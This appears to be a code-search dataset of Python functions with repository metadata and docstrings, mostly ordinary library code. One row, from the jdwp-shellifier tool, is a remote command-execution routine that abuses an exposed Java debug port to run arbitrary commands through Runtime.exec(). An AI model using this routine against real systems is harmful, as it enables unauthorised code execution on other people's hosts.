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andyzsf/TuShare | 92787ad0cd492614bdb6389b71a19c80d1c8c9ae | tushare/datayes/subject.py | python | Subject.NewsContentByTime | (self, newsPublishDate='', beginTime='', endTime='', field='') | return _ret_data(code, result) | 获取某天某一段时间内的新闻全文等信息。输入新闻发布的日期、起止时间，获取该时间段内的新闻全文等信息，如：新闻ID、标题、摘要、正文、来源链接、初始来源、作者、发布来源、发布时间、入库时间等。(注：1、自2014/1/1起新闻来源众多、新闻量日均4万左右，2013年及之前的网站来源少、新闻数据量少；2、数据实时更新。) | 获取某天某一段时间内的新闻全文等信息。输入新闻发布的日期、起止时间，获取该时间段内的新闻全文等信息，如：新闻ID、标题、摘要、正文、来源链接、初始来源、作者、发布来源、发布时间、入库时间等。(注：1、自2014/1/1起新闻来源众多、新闻量日均4万左右，2013年及之前的网站来源少、新闻数据量少；2、数据实时更新。) | [
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] | def NewsContentByTime(self, newsPublishDate='', beginTime='', endTime='', field=''):
"""
获取某天某一段时间内的新闻全文等信息。输入新闻发布的日期、起止时间，获取该时间段内的新闻全文等信息，如：新闻ID、标题、摘要、正文、来源链接、初始来源、作者、发布来源、发布时间、入库时间等。(注：1、自2014/1/1起新闻来源众多、新闻量日均4万左右，2013年及之前的网站来源少、新闻数据量少；2、数据实时更新。)
"""
code, result = self.client.getData(vs.NEWSCONTENTBYTIME%(newsPublishDate, beginTime, endTime, field))
return _ret_data(code, result) | [
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peplin/pygatt | 70c68684ca5a2c5cbd8c4f6f039503fe9b848d24 | pygatt/backends/bgapi/packets.py | python | BGAPICommandPacketBuilder.flash_ps_dump | () | return pack('<4B', 0, 0, 1, 1) | [] | def flash_ps_dump():
return pack('<4B', 0, 0, 1, 1) | [
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awslabs/gluon-ts | 066ec3b7f47aa4ee4c061a28f35db7edbad05a98 | src/gluonts/mx/trainer/callback.py | python | Callback.on_validation_batch_end | (
self, training_network: nn.HybridBlock
) | Hook that is called after each validation batch. This hook is never
called if no validation data is available during training.
Parameters
----------
training_network
The network that is being trained. | Hook that is called after each validation batch. This hook is never
called if no validation data is available during training. | [
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self, training_network: nn.HybridBlock
) -> None:
"""
Hook that is called after each validation batch. This hook is never
called if no validation data is available during training.
Parameters
----------
training_network
The network that is being trained.
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barneygale/quarry | eac47471fc55598de6b4723a728a37d035002237 | quarry/types/buffer/v1_7.py | python | Buffer1_7.discard | (self) | Discards the entire buffer contents. | Discards the entire buffer contents. | [
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"""
Discards the entire buffer contents.
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enthought/traitsui | b7c38c7a47bf6ae7971f9ddab70c8a358647dd25 | traitsui/qt4/range_editor.py | python | SimpleSliderEditor.update_object_on_scroll | (self, pos) | Handles the user changing the current slider value. | Handles the user changing the current slider value. | [
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] | def update_object_on_scroll(self, pos):
"""Handles the user changing the current slider value."""
value = self._convert_from_slider(pos)
self.control.text.setText(self.string_value(value))
try:
self.value = value
except Exception as exc:
from traitsui.api import raise_to_debug
raise_to_debug() | [
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oilshell/oil | 94388e7d44a9ad879b12615f6203b38596b5a2d3 | Python-2.7.13/Lib/timeit.py | python | Timer.repeat | (self, repeat=default_repeat, number=default_number) | return r | Call timeit() a few times.
This is a convenience function that calls the timeit()
repeatedly, returning a list of results. The first argument
specifies how many times to call timeit(), defaulting to 3;
the second argument specifies the timer argument, defaulting
to one million.
Note: it's tempting to calculate mean and standard deviation
from the result vector and report these. However, this is not
very useful. In a typical case, the lowest value gives a
lower bound for how fast your machine can run the given code
snippet; higher values in the result vector are typically not
caused by variability in Python's speed, but by other
processes interfering with your timing accuracy. So the min()
of the result is probably the only number you should be
interested in. After that, you should look at the entire
vector and apply common sense rather than statistics. | Call timeit() a few times. | [
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] | def repeat(self, repeat=default_repeat, number=default_number):
"""Call timeit() a few times.
This is a convenience function that calls the timeit()
repeatedly, returning a list of results. The first argument
specifies how many times to call timeit(), defaulting to 3;
the second argument specifies the timer argument, defaulting
to one million.
Note: it's tempting to calculate mean and standard deviation
from the result vector and report these. However, this is not
very useful. In a typical case, the lowest value gives a
lower bound for how fast your machine can run the given code
snippet; higher values in the result vector are typically not
caused by variability in Python's speed, but by other
processes interfering with your timing accuracy. So the min()
of the result is probably the only number you should be
interested in. After that, you should look at the entire
vector and apply common sense rather than statistics.
"""
r = []
for i in range(repeat):
t = self.timeit(number)
r.append(t)
return r | [
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dimagi/commcare-hq | d67ff1d3b4c51fa050c19e60c3253a79d3452a39 | corehq/form_processor/backends/sql/update_strategy.py | python | _convert_type_check_length | (property_name, value) | [] | def _convert_type_check_length(property_name, value):
try:
return PROPERTY_TYPE_MAPPING.get(property_name, lambda x: x)(value)
except ValueError as e:
raise CaseValueError('Error processing case update: Field: {}, Error: {}'.format(property_name, str(e))) | [
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cloudera/hue | 23f02102d4547c17c32bd5ea0eb24e9eadd657a4 | desktop/core/ext-py/Django-1.11.29/django/core/management/commands/inspectdb.py | python | Command.normalize_col_name | (self, col_name, used_column_names, is_relation) | return new_name, field_params, field_notes | Modify the column name to make it Python-compatible as a field name | Modify the column name to make it Python-compatible as a field name | [
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] | def normalize_col_name(self, col_name, used_column_names, is_relation):
"""
Modify the column name to make it Python-compatible as a field name
"""
field_params = {}
field_notes = []
new_name = col_name.lower()
if new_name != col_name:
field_notes.append('Field name made lowercase.')
if is_relation:
if new_name.endswith('_id'):
new_name = new_name[:-3]
else:
field_params['db_column'] = col_name
new_name, num_repl = re.subn(r'\W', '_', new_name)
if num_repl > 0:
field_notes.append('Field renamed to remove unsuitable characters.')
if new_name.find(LOOKUP_SEP) >= 0:
while new_name.find(LOOKUP_SEP) >= 0:
new_name = new_name.replace(LOOKUP_SEP, '_')
if col_name.lower().find(LOOKUP_SEP) >= 0:
# Only add the comment if the double underscore was in the original name
field_notes.append("Field renamed because it contained more than one '_' in a row.")
if new_name.startswith('_'):
new_name = 'field%s' % new_name
field_notes.append("Field renamed because it started with '_'.")
if new_name.endswith('_'):
new_name = '%sfield' % new_name
field_notes.append("Field renamed because it ended with '_'.")
if keyword.iskeyword(new_name):
new_name += '_field'
field_notes.append('Field renamed because it was a Python reserved word.')
if new_name[0].isdigit():
new_name = 'number_%s' % new_name
field_notes.append("Field renamed because it wasn't a valid Python identifier.")
if new_name in used_column_names:
num = 0
while '%s_%d' % (new_name, num) in used_column_names:
num += 1
new_name = '%s_%d' % (new_name, num)
field_notes.append('Field renamed because of name conflict.')
if col_name != new_name and field_notes:
field_params['db_column'] = col_name
return new_name, field_params, field_notes | [
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fortharris/Pcode | 147962d160a834c219e12cb456abc130826468e4 | Extensions/Settings/ColorScheme/StyleEditor.py | python | StyleEditor.updateForeground | (self, color) | [] | def updateForeground(self, color):
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OpenXenManager/openxenmanager | 1cb5c1cb13358ba584856e99a94f9669d17670ff | src/OXM/window_host.py | python | oxcWindowHost.on_treeusers_cursor_changed | (self, widget, data=None) | Selected row in treeusers treeview | Selected row in treeusers treeview | [
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IOActive/jdwp-shellifier | e82ec26193861ba58179aae7f3fa93654b7abc8a | jdwp-shellifier.py | python | runtime_exec_payload | (jdwp, threadId, runtimeClassId, getRuntimeMethId, command) | return True | [] | def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command):
#
# This function will invoke command as a payload, which will be running
# with JVM privilege on host (intrusive).
#
print ("[+] Selected payload '%s'" % command)
# 1. allocating string containing our command to exec()
cmdObjIds = jdwp.createstring( command )
if len(cmdObjIds) == 0:
print ("[-] Failed to allocate command")
return False
cmdObjId = cmdObjIds[0]["objId"]
print ("[+] Command string object created id:%x" % cmdObjId)
# 2. use context to get Runtime object
buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
if rt is None:
print "[-] Failed to invoke Runtime.getRuntime()"
return False
print ("[+] Runtime.getRuntime() returned context id:%#x" % rt)
# 3. find exec() method
execMeth = jdwp.get_method_by_name("exec")
if execMeth is None:
print ("[-] Cannot find method Runtime.exec()")
return False
print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])
# 4. call exec() in this context with the alloc-ed string
data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ]
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
print ("[+] Runtime.exec() successful, retId=%x" % retId)
return True | [
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dimagi/commcare-hq | d67ff1d3b4c51fa050c19e60c3253a79d3452a39 | corehq/apps/reminders/views.py | python | KeywordsListView._fmt_keyword_data | (self, keyword) | return {
'id': keyword.couch_id,
'keyword': keyword.keyword,
'description': keyword.description,
'editUrl': reverse(
EditStructuredKeywordView.urlname,
args=[self.domain, keyword.couch_id]
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EditNormalKeywordView.urlname,
args=[self.domain, keyword.couch_id]
),
'deleteModalId': 'delete-%s' % keyword.couch_id,
} | [] | def _fmt_keyword_data(self, keyword):
return {
'id': keyword.couch_id,
'keyword': keyword.keyword,
'description': keyword.description,
'editUrl': reverse(
EditStructuredKeywordView.urlname,
args=[self.domain, keyword.couch_id]
) if keyword.is_structured_sms() else reverse(
EditNormalKeywordView.urlname,
args=[self.domain, keyword.couch_id]
),
'deleteModalId': 'delete-%s' % keyword.couch_id,
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XuezheMax/flowseq | 8cb4ae00c26fbeb3e1459e3b3b90e7e9a84c3d2b | experiments/translate.py | python | sample | (dataset, dataloader, flownmt, result_path, outfile, tau, n_len, n_tr) | [] | def sample(dataset, dataloader, flownmt, result_path, outfile, tau, n_len, n_tr):
flownmt.eval()
lengths = []
translations = []
num_insts = 0
start_time = time.time()
num_back = 0
for step, (src, tgt, src_masks, tgt_masks) in enumerate(dataloader):
trans, lens = flownmt.translate_sample(src, src_masks, n_len=n_len, n_tr=n_tr, tau=tau)
translations.append(trans)
lengths.append(lens)
num_insts += src.size(0)
if step % 10 == 0:
sys.stdout.write("\b" * num_back)
sys.stdout.write(" " * num_back)
sys.stdout.write("\b" * num_back)
log_info = 'sampling (tau={:.1f}, n_len={}, n_tr={})...{}'.format(tau, n_len, n_tr, num_insts)
sys.stdout.write(log_info)
sys.stdout.flush()
num_back = len(log_info)
print('time: {:.1f}s'.format(time.time() - start_time))
outfile = os.path.join(result_path, outfile)
dataset.dump_to_file(translations, lengths, outfile, post_edit=False) | [
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vivisect/vivisect | 37b0b655d8dedfcf322e86b0f144b096e48d547e | vtrace/platforms/base.py | python | TracerBase.platformSetSignal | (self, sig=None) | Set the current signal to deliver to the process on cont.
(Use None for no signal delivery. | Set the current signal to deliver to the process on cont.
(Use None for no signal delivery. | [
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] | def platformSetSignal(self, sig=None):
'''
Set the current signal to deliver to the process on cont.
(Use None for no signal delivery.
'''
self.setMeta('PendingSignal', sig) | [
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danmacnish/cartoonify | 39ea84d96b3e93f0480e6d6158bea506d01278ca | cartoonify/app/object_detection/models/faster_rcnn_inception_resnet_v2_feature_extractor.py | python | FasterRCNNInceptionResnetV2FeatureExtractor.restore_from_classification_checkpoint_fn | (
self,
first_stage_feature_extractor_scope,
second_stage_feature_extractor_scope) | return variables_to_restore | Returns a map of variables to load from a foreign checkpoint.
Note that this overrides the default implementation in
faster_rcnn_meta_arch.FasterRCNNFeatureExtractor which does not work for
InceptionResnetV2 checkpoints.
TODO: revisit whether it's possible to force the
`Repeat` namescope as created in `_extract_box_classifier_features` to
start counting at 2 (e.g. `Repeat_2`) so that the default restore_fn can
be used.
Args:
first_stage_feature_extractor_scope: A scope name for the first stage
feature extractor.
second_stage_feature_extractor_scope: A scope name for the second stage
feature extractor.
Returns:
A dict mapping variable names (to load from a checkpoint) to variables in
the model graph. | Returns a map of variables to load from a foreign checkpoint. | [
"Returns",
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"map",
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"to",
"load",
"from",
"a",
"foreign",
"checkpoint",
"."
] | def restore_from_classification_checkpoint_fn(
self,
first_stage_feature_extractor_scope,
second_stage_feature_extractor_scope):
"""Returns a map of variables to load from a foreign checkpoint.
Note that this overrides the default implementation in
faster_rcnn_meta_arch.FasterRCNNFeatureExtractor which does not work for
InceptionResnetV2 checkpoints.
TODO: revisit whether it's possible to force the
`Repeat` namescope as created in `_extract_box_classifier_features` to
start counting at 2 (e.g. `Repeat_2`) so that the default restore_fn can
be used.
Args:
first_stage_feature_extractor_scope: A scope name for the first stage
feature extractor.
second_stage_feature_extractor_scope: A scope name for the second stage
feature extractor.
Returns:
A dict mapping variable names (to load from a checkpoint) to variables in
the model graph.
"""
variables_to_restore = {}
for variable in tf.global_variables():
if variable.op.name.startswith(
first_stage_feature_extractor_scope):
var_name = variable.op.name.replace(
first_stage_feature_extractor_scope + '/', '')
variables_to_restore[var_name] = variable
if variable.op.name.startswith(
second_stage_feature_extractor_scope):
var_name = variable.op.name.replace(
second_stage_feature_extractor_scope
+ '/InceptionResnetV2/Repeat', 'InceptionResnetV2/Repeat_2')
var_name = var_name.replace(
second_stage_feature_extractor_scope + '/', '')
variables_to_restore[var_name] = variable
return variables_to_restore | [
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khanhnamle1994/natural-language-processing | 01d450d5ac002b0156ef4cf93a07cb508c1bcdc5 | assignment1/.env/lib/python2.7/site-packages/zmq/error.py | python | _check_rc | (rc, errno=None) | internal utility for checking zmq return condition
and raising the appropriate Exception class | internal utility for checking zmq return condition
and raising the appropriate Exception class | [
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] | def _check_rc(rc, errno=None):
"""internal utility for checking zmq return condition
and raising the appropriate Exception class
"""
if rc < 0:
from zmq.backend import zmq_errno
if errno is None:
errno = zmq_errno()
from zmq import EAGAIN, ETERM
if errno == EAGAIN:
raise Again(errno)
elif errno == ETERM:
raise ContextTerminated(errno)
else:
raise ZMQError(errno) | [
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RhetTbull/osxphotos | 231d13279296ee4a242d3140d8abe7b5a5bcc9c0 | osxphotos/export_db.py | python | ExportDB.set_stat_edited_for_file | (self, filename, stats) | return self._set_stat_for_file("edited", filename, stats) | set stat info for edited version of image (in Photos' library)
filename: filename to set the stat info for
stat: a tuple of length 3: mode, size, mtime | set stat info for edited version of image (in Photos' library)
filename: filename to set the stat info for
stat: a tuple of length 3: mode, size, mtime | [
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"""set stat info for edited version of image (in Photos' library)
filename: filename to set the stat info for
stat: a tuple of length 3: mode, size, mtime"""
return self._set_stat_for_file("edited", filename, stats) | [
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MIC-DKFZ/trixi | 193c6cfcbe6c28576d3ee745f8a23f88a8029029 | trixi/logger/message/slackmessagelogger.py | python | SlackMessageLogger.show_image | (self, image, *args, **kwargs) | Sends an image file to a chat using an existing slack bot.
Args:
image (str or np array): Path to the image file to be sent to the chat. | Sends an image file to a chat using an existing slack bot. | [
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] | def show_image(self, image, *args, **kwargs):
"""
Sends an image file to a chat using an existing slack bot.
Args:
image (str or np array): Path to the image file to be sent to the chat.
"""
try:
if isinstance(image, str):
with open(image, 'rb') as img_file:
self.send_message(message=self.exp_name, file=img_file)
elif isinstance(image, np.ndarray):
buf = get_image_as_buffered_file(image)
self.send_message(message=self.exp_name, file=buf)
except Exception as e:
print("Could not send image to slack") | [
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GoogleCloudPlatform/PerfKitBenchmarker | 6e3412d7d5e414b8ca30ed5eaf970cef1d919a67 | perfkitbenchmarker/windows_virtual_machine.py | python | BaseWindowsMixin._SmbclientRemoteCopy | (self, local_path, remote_path,
copy_to, network_drive) | Copies a file to or from the VM using smbclient.
Args:
local_path: Local path to file.
remote_path: Optional path of where to copy file on remote host.
copy_to: True to copy to vm, False to copy from vm.
network_drive: The smb specification for the remote drive
(//{ip_address}/{share_name}).
Raises:
RemoteCommandError: If there was a problem copying the file. | Copies a file to or from the VM using smbclient. | [
"Copies",
"a",
"file",
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"or",
"from",
"the",
"VM",
"using",
"smbclient",
"."
] | def _SmbclientRemoteCopy(self, local_path, remote_path,
copy_to, network_drive):
"""Copies a file to or from the VM using smbclient.
Args:
local_path: Local path to file.
remote_path: Optional path of where to copy file on remote host.
copy_to: True to copy to vm, False to copy from vm.
network_drive: The smb specification for the remote drive
(//{ip_address}/{share_name}).
Raises:
RemoteCommandError: If there was a problem copying the file.
"""
local_directory, local_file = os.path.split(local_path)
remote_directory, remote_file = ntpath.split(remote_path)
smb_command = 'cd %s; lcd %s; ' % (remote_directory, local_directory)
if copy_to:
smb_command += 'put %s %s' % (local_file, remote_file)
else:
smb_command += 'get %s %s' % (remote_file, local_file)
smb_copy = [
'smbclient', network_drive,
'--max-protocol', 'SMB3',
'--user', '%s%%%s' % (self.user_name, self.password),
'--port', str(self.smb_port),
'--command', smb_command
]
stdout, stderr, retcode = vm_util.IssueCommand(smb_copy,
raise_on_failure=False)
if retcode:
error_text = ('Got non-zero return code (%s) executing %s\n'
'STDOUT: %sSTDERR: %s' %
(retcode, smb_copy, stdout, stderr))
raise errors.VirtualMachine.RemoteCommandError(error_text) | [
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batiste/django-page-cms | 8ba3fa07ecc4aab1013db457ff50a1ebe1ac4d06 | pages/templatetags/pages_tags.py | python | pages_breadcrumb | (context, page, url='/') | return context | Render a breadcrumb like menu.
Override ``pages/breadcrumb.html`` if you want to change the
design.
:param page: the current page
:param url: not used anymore | Render a breadcrumb like menu. | [
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"menu",
"."
] | def pages_breadcrumb(context, page, url='/'):
"""
Render a breadcrumb like menu.
Override ``pages/breadcrumb.html`` if you want to change the
design.
:param page: the current page
:param url: not used anymore
"""
lang = context.get('lang', pages_settings.PAGE_DEFAULT_LANGUAGE)
page = get_page_from_string_or_id(page, lang)
pages_navigation = None
if page:
pages_navigation = page.get_ancestors()
context.update({'pages_navigation': pages_navigation, 'page': page})
return context | [
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mlflow/mlflow | 364aca7daf0fcee3ec407ae0b1b16d9cb3085081 | mlflow/utils/autologging_utils/__init__.py | python | get_autologging_config | (flavor_name, config_key, default_value=None) | Returns a desired config value for a specified autologging integration.
Returns `None` if specified `flavor_name` has no recorded configs.
If `config_key` is not set on the config object, default value is returned.
:param flavor_name: An autologging integration flavor name.
:param config_key: The key for the desired config value.
:param default_value: The default_value to return | Returns a desired config value for a specified autologging integration.
Returns `None` if specified `flavor_name` has no recorded configs.
If `config_key` is not set on the config object, default value is returned. | [
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"""
Returns a desired config value for a specified autologging integration.
Returns `None` if specified `flavor_name` has no recorded configs.
If `config_key` is not set on the config object, default value is returned.
:param flavor_name: An autologging integration flavor name.
:param config_key: The key for the desired config value.
:param default_value: The default_value to return
"""
config = AUTOLOGGING_INTEGRATIONS.get(flavor_name)
if config is not None:
return config.get(config_key, default_value)
else:
return default_value | [
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Epistimio/orion | 732e739d99561020dbe620760acf062ade746006 | src/orion/core/evc/conflicts.py | python | MissingDimensionConflict.detect | (cls, old_config, new_config, branching_config=None) | Detect all missing dimensions in `new_config` based on `old_config`
:param branching_config: | Detect all missing dimensions in `new_config` based on `old_config`
:param branching_config: | [
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] | def detect(cls, old_config, new_config, branching_config=None):
"""Detect all missing dimensions in `new_config` based on `old_config`
:param branching_config:
"""
for conflict in NewDimensionConflict.detect(new_config, old_config):
yield cls(old_config, new_config, conflict.dimension, conflict.prior) | [
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pyparallel/pyparallel | 11e8c6072d48c8f13641925d17b147bf36ee0ba3 | Lib/site-packages/ipython-4.0.0-py3.3.egg/IPython/core/application.py | python | BaseIPythonApplication.load_config_file | (self, suppress_errors=True) | Load the config file.
By default, errors in loading config are handled, and a warning
printed on screen. For testing, the suppress_errors option is set
to False, so errors will make tests fail. | Load the config file. | [
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] | def load_config_file(self, suppress_errors=True):
"""Load the config file.
By default, errors in loading config are handled, and a warning
printed on screen. For testing, the suppress_errors option is set
to False, so errors will make tests fail.
"""
self.log.debug("Searching path %s for config files", self.config_file_paths)
base_config = 'ipython_config.py'
self.log.debug("Attempting to load config file: %s" %
base_config)
try:
Application.load_config_file(
self,
base_config,
path=self.config_file_paths
)
except ConfigFileNotFound:
# ignore errors loading parent
self.log.debug("Config file %s not found", base_config)
pass
for config_file_name in self.config_files:
if not config_file_name or config_file_name == base_config:
continue
self.log.debug("Attempting to load config file: %s" %
self.config_file_name)
try:
Application.load_config_file(
self,
config_file_name,
path=self.config_file_paths
)
except ConfigFileNotFound:
# Only warn if the default config file was NOT being used.
if config_file_name in self.config_file_specified:
msg = self.log.warn
else:
msg = self.log.debug
msg("Config file not found, skipping: %s", config_file_name)
except Exception:
# For testing purposes.
if not suppress_errors:
raise
self.log.warn("Error loading config file: %s" %
self.config_file_name, exc_info=True) | [
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fortharris/Pcode | 147962d160a834c219e12cb456abc130826468e4 | rope/base/history.py | python | History.tobe_undone | (self) | The last done change if available, `None` otherwise | The last done change if available, `None` otherwise | [
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"done",
"change",
"if",
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] | def tobe_undone(self):
"""The last done change if available, `None` otherwise"""
if self.undo_list:
return self.undo_list[-1] | [
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omz/PythonistaAppTemplate | f560f93f8876d82a21d108977f90583df08d55af | PythonistaAppTemplate/PythonistaKit.framework/pylib/site-packages/sqlalchemy/dialects/mysql/base.py | python | TIMESTAMP.__init__ | (self, timezone=False, fsp=None) | Construct a MySQL TIMESTAMP type.
:param timezone: not used by the MySQL dialect.
:param fsp: fractional seconds precision value.
MySQL 5.6.4 supports storage of fractional seconds;
this parameter will be used when emitting DDL
for the TIMESTAMP type.
.. note::
DBAPI driver support for fractional seconds may
be limited; current support includes
MySQL Connector/Python.
.. versionadded:: 0.8.5 Added MySQL-specific :class:`.mysql.TIMESTAMP`
with fractional seconds support. | Construct a MySQL TIMESTAMP type. | [
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"a",
"MySQL",
"TIMESTAMP",
"type",
"."
] | def __init__(self, timezone=False, fsp=None):
"""Construct a MySQL TIMESTAMP type.
:param timezone: not used by the MySQL dialect.
:param fsp: fractional seconds precision value.
MySQL 5.6.4 supports storage of fractional seconds;
this parameter will be used when emitting DDL
for the TIMESTAMP type.
.. note::
DBAPI driver support for fractional seconds may
be limited; current support includes
MySQL Connector/Python.
.. versionadded:: 0.8.5 Added MySQL-specific :class:`.mysql.TIMESTAMP`
with fractional seconds support.
"""
super(TIMESTAMP, self).__init__(timezone=timezone)
self.fsp = fsp | [
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bruderstein/PythonScript | df9f7071ddf3a079e3a301b9b53a6dc78cf1208f | PythonLib/full/turtle.py | python | TurtleScreen.register_shape | (self, name, shape=None) | Adds a turtle shape to TurtleScreen's shapelist.
Arguments:
(1) name is the name of a gif-file and shape is None.
Installs the corresponding image shape.
!! Image-shapes DO NOT rotate when turning the turtle,
!! so they do not display the heading of the turtle!
(2) name is an arbitrary string and shape is a tuple
of pairs of coordinates. Installs the corresponding
polygon shape
(3) name is an arbitrary string and shape is a
(compound) Shape object. Installs the corresponding
compound shape.
To use a shape, you have to issue the command shape(shapename).
call: register_shape("turtle.gif")
--or: register_shape("tri", ((0,0), (10,10), (-10,10)))
Example (for a TurtleScreen instance named screen):
>>> screen.register_shape("triangle", ((5,-3),(0,5),(-5,-3))) | Adds a turtle shape to TurtleScreen's shapelist. | [
"Adds",
"a",
"turtle",
"shape",
"to",
"TurtleScreen",
"s",
"shapelist",
"."
] | def register_shape(self, name, shape=None):
"""Adds a turtle shape to TurtleScreen's shapelist.
Arguments:
(1) name is the name of a gif-file and shape is None.
Installs the corresponding image shape.
!! Image-shapes DO NOT rotate when turning the turtle,
!! so they do not display the heading of the turtle!
(2) name is an arbitrary string and shape is a tuple
of pairs of coordinates. Installs the corresponding
polygon shape
(3) name is an arbitrary string and shape is a
(compound) Shape object. Installs the corresponding
compound shape.
To use a shape, you have to issue the command shape(shapename).
call: register_shape("turtle.gif")
--or: register_shape("tri", ((0,0), (10,10), (-10,10)))
Example (for a TurtleScreen instance named screen):
>>> screen.register_shape("triangle", ((5,-3),(0,5),(-5,-3)))
"""
if shape is None:
# image
if name.lower().endswith(".gif"):
shape = Shape("image", self._image(name))
else:
raise TurtleGraphicsError("Bad arguments for register_shape.\n"
+ "Use help(register_shape)" )
elif isinstance(shape, tuple):
shape = Shape("polygon", shape)
## else shape assumed to be Shape-instance
self._shapes[name] = shape | [
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twilio/twilio-python | 6e1e811ea57a1edfadd5161ace87397c563f6915 | twilio/rest/conversations/v1/service/__init__.py | python | ServiceInstance.users | (self) | return self._proxy.users | Access the users
:returns: twilio.rest.conversations.v1.service.user.UserList
:rtype: twilio.rest.conversations.v1.service.user.UserList | Access the users | [
"Access",
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] | def users(self):
"""
Access the users
:returns: twilio.rest.conversations.v1.service.user.UserList
:rtype: twilio.rest.conversations.v1.service.user.UserList
"""
return self._proxy.users | [
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miroblog/deep_rl_trader | 1aafa451f0f00ad3e27c43241a596a62d608ba72 | modified_keras_rl_core/core.py | python | Processor.process_reward | (self, reward) | return reward | Processes the reward as obtained from the environment for use in an agent and
returns it.
# Arguments
reward (float): A reward as obtained by the environment
# Returns
Reward obtained by the environment processed | Processes the reward as obtained from the environment for use in an agent and
returns it. | [
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] | def process_reward(self, reward):
"""Processes the reward as obtained from the environment for use in an agent and
returns it.
# Arguments
reward (float): A reward as obtained by the environment
# Returns
Reward obtained by the environment processed
"""
return reward | [
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tabacha/ProSafeLinux | a744882dd57e468fe70c4eeb5f91877105d9b069 | psl_typ.py | python | PslTyp.get_set_help | (self) | return None | argparse help argument for set operation | argparse help argument for set operation | [
"argparse",
"help",
"argument",
"for",
"set",
"operation"
] | def get_set_help(self):
"argparse help argument for set operation"
return None | [
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] | https://github.com/tabacha/ProSafeLinux/blob/a744882dd57e468fe70c4eeb5f91877105d9b069/psl_typ.py#L66-L68 | |
ypxie/HDGan | d98e2a85f7ae6ce7bfacd1c15e519558d97cb931 | HDGan/neuralDist/pretrainedmodels/torchvision.py | python | resnet18 | (num_classes=1000, pretrained='imagenet') | return model | Constructs a ResNet-18 model. | Constructs a ResNet-18 model. | [
"Constructs",
"a",
"ResNet",
"-",
"18",
"model",
"."
] | def resnet18(num_classes=1000, pretrained='imagenet'):
"""Constructs a ResNet-18 model.
"""
model = models.resnet18(pretrained=False)
if pretrained is not None:
settings = pretrained_settings['resnet18'][pretrained]
model = load_pretrained(model, num_classes, settings)
return model | [
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fatchord/WaveRNN | 3595219b2f2f5353f0867a7bb59abcb15aba8831 | utils/checkpoints.py | python | restore_checkpoint | (checkpoint_type: str, paths: Paths, model, optimizer, *,
name=None, create_if_missing=False) | Restores from a training session saved to disk.
NOTE: The optimizer's state is placed on the same device as it's model
parameters. Therefore, be sure you have done `model.to(device)` before
calling this method.
Args:
paths: Provides information about the different paths to use.
model: A `Tacotron` or `WaveRNN` model to save the parameters and buffers from.
optimizer: An optmizer to save the state of (momentum, etc).
name: If provided, will restore from a checkpoint with the given name.
Otherwise, will restore from the latest weights and optimizer state
as specified in `paths`.
create_if_missing: If `True`, will create the checkpoint if it doesn't
yet exist, as well as update the files specified in `paths` that
give the location of the current latest weights and optimizer state.
If `False` and the checkpoint doesn't exist, will raise a
`FileNotFoundError`. | Restores from a training session saved to disk. | [
"Restores",
"from",
"a",
"training",
"session",
"saved",
"to",
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] | def restore_checkpoint(checkpoint_type: str, paths: Paths, model, optimizer, *,
name=None, create_if_missing=False):
"""Restores from a training session saved to disk.
NOTE: The optimizer's state is placed on the same device as it's model
parameters. Therefore, be sure you have done `model.to(device)` before
calling this method.
Args:
paths: Provides information about the different paths to use.
model: A `Tacotron` or `WaveRNN` model to save the parameters and buffers from.
optimizer: An optmizer to save the state of (momentum, etc).
name: If provided, will restore from a checkpoint with the given name.
Otherwise, will restore from the latest weights and optimizer state
as specified in `paths`.
create_if_missing: If `True`, will create the checkpoint if it doesn't
yet exist, as well as update the files specified in `paths` that
give the location of the current latest weights and optimizer state.
If `False` and the checkpoint doesn't exist, will raise a
`FileNotFoundError`.
"""
weights_path, optim_path, checkpoint_path = \
get_checkpoint_paths(checkpoint_type, paths)
if name:
path_dict = {
'w': checkpoint_path/f'{name}_weights.pyt',
'o': checkpoint_path/f'{name}_optim.pyt',
}
s = 'named'
else:
path_dict = {
'w': weights_path,
'o': optim_path
}
s = 'latest'
num_exist = sum(p.exists() for p in path_dict.values())
if num_exist == 2:
# Checkpoint exists
print(f'Restoring from {s} checkpoint...')
print(f'Loading {s} weights: {path_dict["w"]}')
model.load(path_dict['w'])
print(f'Loading {s} optimizer state: {path_dict["o"]}')
optimizer.load_state_dict(torch.load(path_dict['o']))
elif create_if_missing:
save_checkpoint(checkpoint_type, paths, model, optimizer, name=name, is_silent=False)
else:
raise FileNotFoundError(f'The {s} checkpoint could not be found!') | [
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ucbdrive/3d-vehicle-tracking | 8ee189f6792897651bb56bb2950ce07c9629a89d | faster-rcnn.pytorch/lib/model/utils/logger.py | python | Logger.histo_summary | (self, tag, values, step, bins=1000) | Log a histogram of the tensor of values. | Log a histogram of the tensor of values. | [
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"of",
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] | def histo_summary(self, tag, values, step, bins=1000):
"""Log a histogram of the tensor of values."""
# Create a histogram using numpy
counts, bin_edges = np.histogram(values, bins=bins)
# Fill the fields of the histogram proto
hist = tf.HistogramProto()
hist.min = float(np.min(values))
hist.max = float(np.max(values))
hist.num = int(np.prod(values.shape))
hist.sum = float(np.sum(values))
hist.sum_squares = float(np.sum(values ** 2))
# Drop the start of the first bin
bin_edges = bin_edges[1:]
# Add bin edges and counts
for edge in bin_edges:
hist.bucket_limit.append(edge)
for c in counts:
hist.bucket.append(c)
# Create and write Summary
summary = tf.Summary(value=[tf.Summary.Value(tag=tag, histo=hist)])
self.writer.add_summary(summary, step)
self.writer.flush() | [
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glutanimate/review-heatmap | c758478125b60a81c66c87c35b12b7968ec0a348 | src/review_heatmap/libaddon/utils.py | python | deepMergeLists | (original, incoming, new=False) | return result | Deep merge two lists. Optionally leaves original intact.
Procedure:
Reursively call deep merge on each correlated element of list.
If item type in both elements are
a. dict: Call deepMergeDicts on both values.
b. list: Call deepMergeLists on both values.
c. any other type: Value is overridden.
d. conflicting types: Value is overridden.
If incoming list longer than original then extra values are appended.
Arguments:
original {list} -- original list
incoming {list} -- list with updated values
new {bool} -- whether or not to create a new list instead of
